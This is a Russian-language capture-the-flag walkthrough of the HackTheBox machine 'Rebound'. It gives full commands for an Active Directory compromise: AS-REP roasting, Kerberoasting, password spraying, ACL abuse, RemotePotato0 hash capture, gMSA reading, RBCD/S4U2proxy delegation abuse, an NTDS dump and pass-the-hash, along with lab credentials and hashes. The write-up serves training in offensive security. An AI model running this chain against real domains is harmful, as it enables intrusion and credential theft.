Статья Проводим сложную атаку на Active Directory

[stihl]

Сегодня начнем с типичных (и не очень) атак AS-REP Roasting и Kerberoasting. Затем покопаемся в базе LDAP и найдем неочевидный путь продвижения. При получении доступа к хосту используем технику RemotePotato, а для повышения привилегий — технику S4U2proxy.
Наша цель — получение прав суперпользователя на машине Rebound с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень ее сложности — «безумный».

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​

Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.231 rebound.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел множество открытых портов, что характерно для серверов на Windows:

• 53 — DNS;
• 88 — Kerberos;
• 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
• 139 — служба сеансов NetBIOS, NetLogon;
• 389 — LDAP;
• 445 — SMB;
• 464 — служба смены пароля Kerberos;
• 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и Exchange;
• 636 — LDAP с шифрованием SSL или TLS;
• 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
• 5985 — служба удаленного управления WinRM.

Первым делом проверяем, нет ли возможности анонимного входа, и выводим список общих каталогов. Для этого используем утилиту Для просмотра ссылки Войди или Зарегистрируйся, которая нам еще не раз пригодится при прохождении.

crackmapexec smb rebound.htb -u guest -p '' --shares

Общие SMB-каталоги

Видим нестандартный каталог Shared. Подключиться и просмотреть содержимое можно с помощью скрипта из набора Для просмотра ссылки Войди или Зарегистрируйся.

impacket-smbclient guest@rebound.htb

Содержимое каталога Shared

Но каталог оказался пустым, поэтому переходим к другим техникам.

Точка входа​

Так как доступна анонимная аутентификация на ресурсе SMB, можно пробрутить RID и получить названия групп и имена пользователей.

crackmapexec smb rebound.htb -u guest -p '' --rid-brute 10000

Имена пользователей и группы

Теперь, когда у нас есть имена пользователей, мы можем поспреить популярные пароли и проверить AS-REP Roasting.

AS-REP Roasting​

Смысл атаки AS-REP Roasting в том, что мы посылаем на сервер аутентификации анонимный запрос для предоставления определенному пользователю доступа к какой‑либо услуге. На что сервер имеет три разных ответа:

• предоставляет билет, откуда мы возьмем хеш;
• отвечает, что у данного пользователя не выставлен флаг PreauthNotRequired;
• говорит, что такого пользователя нет в базе Kerberos.

Проделать все это можно при помощи все того же CrackMapExec.

crackmapexec ldap rebound.htb -u users.txt -p '' --asreproast asreproast_hashes.txt

Результат проведения атаки

Таким образом, в домене есть один пользователь, для которого не требуется предварительная аутентификация Kerberos, и мы получаем хеш его пароля. Для брута пароля в hashcat указываем режим 18200 (параметр -m).

hashcat -m 18200 asreproast_hashes.txt rockyou.txt
Перебор хеша с помощью hashcat никаких результатов не дал.

Kerberoasting​

Реализация протокола Kerberos в Windows использует имена участников службы (SPN) для определения того, какую учетную запись задействовать для шифрования билета службы. В Active Directory существует два варианта SPN: SPN на основе хоста и произвольные SPN. Первый вариант SPN связан с учетной записью компьютера домена, а второй обычно (но не всегда) — с учеткой пользователя домена.

Проще говоря, если запрошен билет, он шифруется паролем учетной записи, которая предоставила его SPN. Так, если мы получим билет, мы можем его просто пробрутить, чтобы узнать пароль учетки! Хотя для этого и нужно пройти аутентификацию, но мы можем взять пользователя с прошлого этапа, для которого она не требуется. В этом варианте выполнить атаку можно с помощью Для просмотра ссылки Войди или Зарегистрируйся, для чего перейдем в виртуалку с Windows.

Rubeus.exe kerberoast /nopreauth:jjones /domain:rebound.htb /dc:10.10.11.231 /spns:users.txt /ldaps /nowrap

Результат выполнения атаки

Получаем хеши пользователей ldap_monitor и delegator$, которые сразу отправляем на брут в hashcat.

hashcat -m 13100 kerberoasting_users.txt rockyou.txt

Результат взлома хешей

Получаем пароль для учетки ldap_monitor. Наш единственный пароль спреим по остальным учеткам и получаем еще одну валидную пару из логина и пароля — для пользователя oorend.

crackmapexec smb 10.10.11.231 -u users.txt -p '1GR8t@$$4u' --continue-on-success

Результат спрея пароля

Точка опоры​

Теперь, когда у нас есть валидные учетные записи, собираем данные для BloodHound. Для этого используем Для просмотра ссылки Войди или Зарегистрируйся. Но сначала обновим запись в файле /etc/hosts и синхронизируем время с удаленным хостом.

10.10.11.231 rebound.htb dc01.rebound.htb

sudo timedatectl set-ntp false
sudo ntpdate -s 10.10.11.231

bloodhound-python -u ldap_monitor -p '1GR8t@$$4u' -ns 10.10.11.231 -d rebound.htb  -c All

Сбор данных BloodHound

Отмечаем подконтрольных нам пользователей как Owned и проводим анализ. Но к сожалению, ничего интересного найти не удалось. Тогда попробуем сдампить базу LDAP и проверить разрешения вручную. Для работы с LDAP я использую скрипт Для просмотра ссылки Войди или Зарегистрируйся.

python3 bloodyAD.py -u ldap_monitor -d rebound.htb -p '1GR8t@$$4u' --host rebound.htb get search 'DC=rebound,DC=htb' --resolve-sd > ldap_dump.txt
База сохранена в файл ldap_dump.txt, из которого отфильтруем все строки, содержащие имена и SID подконтрольных пользователей.

cat ldap_dump.txt | grep -i 'ldap_monitor\|S-1-5-21-4078382237-1492182817-2568127209-7681\|oorend\|S-1-5-21-4078382237-1492182817-2568127209-7682'

Вывод команды grep

Так как нас интересуют только разрешения, остановимся на первой строке вывода. Открываем текстовый редактор и находим ее через поиск. Этот ACL относится к объекту ServiceMgmt.

Для просмотра ссылки Войди или Зарегистрируйся

Таким образом, пользователь oorend (SID S-1-5-21-40...7682) может добавлять пользователей в группу ServiceMgmt. Пометим эту группу как Owned и для поиска дальнейшего пути снова попытаем удачу в графе BloodHound, на этот раз успешно.

Граф BloodHound

У пользователей этой группы есть все права на подразделение SERVICE USERS, к которому относится юзер winrm_svc. Значит, можно взять под контроль пользователя winrm_svc в три этапа.

Этап первый. Добавить пользователя oorend в группу ServiceMgmt.

python3 bloodyAD.py -u oorend -d rebound.htb -p '1GR8t@$$4u' --host rebound.htb add groupMember ServiceMgmt oorend

Добавление пользователя в группу

Этап второй. Добавить пользователю oorend все права на членов подразделения SERVICE USERS.

python3 bloodyAD.py -u oorend -d rebound.htb -p '1GR8t@$$4u' --host rebound.htb add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend

Добавление прав на объект

Этап третий. Установить пользователю winrm_svc свой пароль.

python3 bloodyAD.py -u oorend -d rebound.htb -p '1GR8t@$$4u' --host rebound.htb set password winrm_svc 'Ralf!@34'

Смена пароля пользователя

А теперь используем установленные учетные данные для авторизации в службе WinRM.

evil-winrm -i rebound.htb -u winrm_svc -p 'Ralf!@34'

Флаг пользователя

Продвижение​

От WINRM_SVC к TBRADY​

Для разведки на хосте можно использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся. Последовательно собираем информацию о системе, пользователе и другие интересные вещи.

Seatbelt.exe -group=system
Seatbelt.exe -group=user
Seatbelt.exe -group=misc

OneNote-файлы

Из интересного в пункте, связанном с файлами OneNote, отмечаем наличие возможности входа в систему у пользователя tbrady. Проверить наличие текущей сессии не получилось, поэтому я решил использовать Для просмотра ссылки Войди или Зарегистрируйся вслепую. Подробнее об этой технике можешь почитать в статье «Для просмотра ссылки Войди или Зарегистрируйся». В результате атаки мы получим NetNTLMv2-хеш атакуемого пользователя. На своем хосте запускаем редиректор socat, а на удаленной машине выполняем RemotePotato0.

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:rebound.htb:9999

RemotePotato0.exe -m 2 -r 10.10.16.34 -x 10.10.16.34 -p 9999 -s 1

Результат атаки

Полученный хеш отправляем в hashcat. Хеши такого типа (-m 5600) брутятся очень быстро, и в результате мы получаем пароль пользователя.

hashcat -m 5600 -a 0 tbrady_hash.txt rockyou.txt

Результат перебора хеша

Конечно же, проверяем полученные учетные данные с помощью CrackMapExec.

crackmapexec smb 10.10.11.231 -u tbrady -p '543BOMBOMBUNmanda'

Проверка учетных данных пользователя

От TBRADY к DELEGATOR​

Так как мы получили нового пользователя, возвращаемся к графу BloodHound и помечаем эту учетку, после чего перестраиваем граф.

Граф BloodHound

У этого пользователя есть право на чтение паролей gMSA. Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory. Их можно использовать для безопасного запуска служб, приложений и заданий планировщика. Основная идея в том, что паролем таких учетных записей полностью управляет Active Directory. Для них автоматически генерируется сложный пароль длиной 240 символов, который меняется также автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход для этих учеток невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью mimikatz.

Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть доступ к такой учетке, мы можем получить хеш ее пароля. Для этого мы снова будем использовать CrackMapExec.

crackmapexec ldap dc01.rebound.htb -u tbrady -p 543BOMBOMBUNmanda -k --gmsa

Получение хеша учетной записи delegator$

Так мы получаем под контроль еще одну учетную запись и идем дальше.

Локальное повышение привилегий​

Больше BloodHound новых графов не перестраивает, поэтому просматриваем информацию о пользователе. У этой учетки есть запись в атрибуте msDS-AllowedToDelegateTo (свойство allowedtodelegate в BloodHound).

Информация о пользователе

Этот атрибут содержит список SPN (служб), для которых учетная запись может запрашивать TGS от имени клиента. Так как предстоит поработать с Kerberos, изменим запись в файле /etc/hosts.

10.10.11.231 rebound.htb dc01.rebound.htb dc01
Получим TGT для текущей учетной записи и проверим все делегирования в домене. Для всех операций используем скрипты impacket.

impacket-getTGT 'rebound.htb/delegator$@dc01.rebound.htb' -hashes :9b0ccb7d34c670b2a9c81c45bc8befc3 -dc-ip 10.10.11.231

Получение TGT

export KRB5CCNAME='delegator$@dc01.rebound.htb.ccache'
impacket-findDelegation rebound.htb/ -k -no-pass

Проверка делегирований в домене

Таким образом нам удалось найти единственное ограниченное делегирование. Но в контексте целевого пользователя для выполнения атаки нам потребуется третья вспомогательная учетная запись. Можно взять уже подконтрольную нам либо создать новую, благо по умолчанию каждый пользователь домена может создать до десяти учетных записей машин. Но так как в некоторых доменах такое разрешение может быть ограничено, стоит проверить, есть ли оно. Для этого проверим значение MachineAccountQuota в домене.

crackmapexec ldap dc01.rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k -M MAQ

Проверка MachineAccountQuota

И мы как раз находимся в домене, где нельзя создавать дополнительные учетные записи. Поэтому в качестве вспомогательной заюзаем учетку ldap_monitor. Настроим RBCD от вспомогательной учетной записи к учетной записи с ограниченным делегированием.

impacket-rbcd -delegate-from ldap_monitor -delegate-to 'delegator$' -dc-ip 10.10.11.231 -action write 'rebound.htb/delegator$' -k -no-pass -use-ldaps

Настройка RBCD

Так как теперь нам предстоит работать через ldap_monitor, получим и экспортируем TGT.

impacket-getTGT 'rebound.htb/ldap_monitor:1GR8t@$$4u' -dc-ip 10.10.11.231
export KRB5CCNAME=ldap_monitor.ccache

Получение TGT

Для дальнейшей атаки нам нужен SPN учетной записи с ограниченным делегированием.

Информация о пользователе

Теперь проведем полную атаку S4U2 и получим TGS с возможностью пересылки для учетной записи с настроенным ограниченным делегированием browser/dc01.rebound.htb.

impacket-getST -spn browser/dc01.rebound.htb -impersonate 'dc01$' rebound.htb/ldap_monitor -dc-ip 10.10.11.231 -k -no-pass

Получение TGS

Теперь используем S4U2proxy с возможностью пересылки TGS из предыдущего шага и получаем TGS для конечной службы http/dc01.rebound.htb.

export KRB5CCNAME=dc01\$.ccache
impacket-getST -spn http/dc01.rebound.htb -impersonate 'dc01$' -additional-ticket 'dc01$.ccache' 'rebound.htb/delegator$' -hashes :9b0ccb7d34c670b2a9c81c45bc8befc3

Получение TGS

Пришло время экспортировать полученный билет, и, так как мы имперсонируем учетную запись dc01$, сдампим базу NTDS.

export KRB5CCNAME=dc01\$.ccache
impacket-secretsdump dc01.rebound.htb -k -no-pass -just-dc-ntlm

Учетные данные домена

И с хешем администратора авторизуемся в службе WinRM для получения последнего флага.

evil-winrm -i rebound.htb -u Administrator -H 176be138594933bb67db3b2572fc91b8

Флаг рута

Машина захвачена!